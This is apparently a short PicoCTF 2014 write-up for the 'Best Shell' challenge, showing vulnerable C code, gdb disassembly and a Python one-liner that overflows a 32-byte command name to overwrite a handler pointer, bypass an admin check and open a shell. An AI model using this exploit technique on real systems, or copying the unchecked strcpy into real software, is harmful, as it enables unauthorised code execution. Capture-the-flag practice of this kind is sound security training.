# PicoCTF 2k14 - Best Shell


$ cat best_shell.c 
...

typedef struct input_handler {
    char cmd[32];
    void (*handler)(char *);
} input_handler;

...

void rename_handler(char *arg){
    char *existing;
    char *new;

    if (arg == NULL){
        printf("usage: rename [cmd_name] [new_name]\n");
        return;
    }

    existing = strtok(arg, " ");
    new = strtok(NULL, "");

    if (new == NULL){
        printf("usage: rename [cmd_name] [new_name]\n");
        return;
    }

    input_handler *found = find_handler(existing);

    if (found != NULL){
        strcpy(found->cmd, new);
    }else{
        printf("No command found.\n");
    }
}

...

void shell_handler(char *arg){
    if (admin){
        gid_t gid = getegid();
        setresgid(gid, gid, gid);
        system("/bin/sh");
    }else{
        printf("You must be admin!\n");
    }
}

...
$ gdb ./best_shell 
(gdb) disassemble setup_handlers
   0x08048a14 <+0>: push   ebp
   0x08048a15 <+1>: mov    ebp,esp
   0x08048a17 <+3>: push   ebx
   0x08048a18 <+4>: mov    DWORD PTR ds:0x804b0e0,0x6c656873
   0x08048a22 <+14>: mov    DWORD PTR ds:0x804b0e4,0x6c
   0x08048a2c <+24>: mov    edx,0x804b0e8
   0x08048a31 <+29>: mov    ecx,0x0
   0x08048a36 <+34>: mov    eax,0x18
   0x08048a3b <+39>: and    eax,0xfffffffc
   0x08048a3e <+42>: mov    ebx,eax
   0x08048a40 <+44>: mov    eax,0x0
   0x08048a45 <+49>: mov    DWORD PTR [edx+eax*1],ecx
   0x08048a48 <+52>: add    eax,0x4
   0x08048a4b <+55>: cmp    eax,ebx
   0x08048a4d <+57>: jb     0x8048a45 <setup_handlers+49>
   0x08048a4f <+59>: add    edx,eax
   0x08048a51 <+61>: mov    DWORD PTR ds:0x804b100,0x80489c6

(gdb) x/10i 0x80489c6
   0x80489c6 <shell_handler>: push   ebp
   0x80489c7 <shell_handler+1>: mov    ebp,esp
   0x80489c9 <shell_handler+3>: sub    esp,0x28
   0x80489cc <shell_handler+6>: movzx  eax,BYTE PTR ds:0x804b085
   0x80489d3 <shell_handler+13>: test   al,al
   0x80489d5 <shell_handler+15>: je     0x8048a06 <shell_handler+64>
   0x80489d7 <shell_handler+17>: call   0x8048600 <getegid@plt>
   0x80489dc <shell_handler+22>: mov    DWORD PTR [ebp-0xc],eax
   0x80489df <shell_handler+25>: mov    eax,DWORD PTR [ebp-0xc]
   0x80489e2 <shell_handler+28>: mov    DWORD PTR [esp+0x8],eax

$ (python -c 'import struct; payload = "A"*32 + struct.pack("<I", 0x080489d7); print "rename shell " + payload + "\n" + payload'; cat) | ./best_shell
>> >> cat flag.txt
give_shell_was_useful

No comments: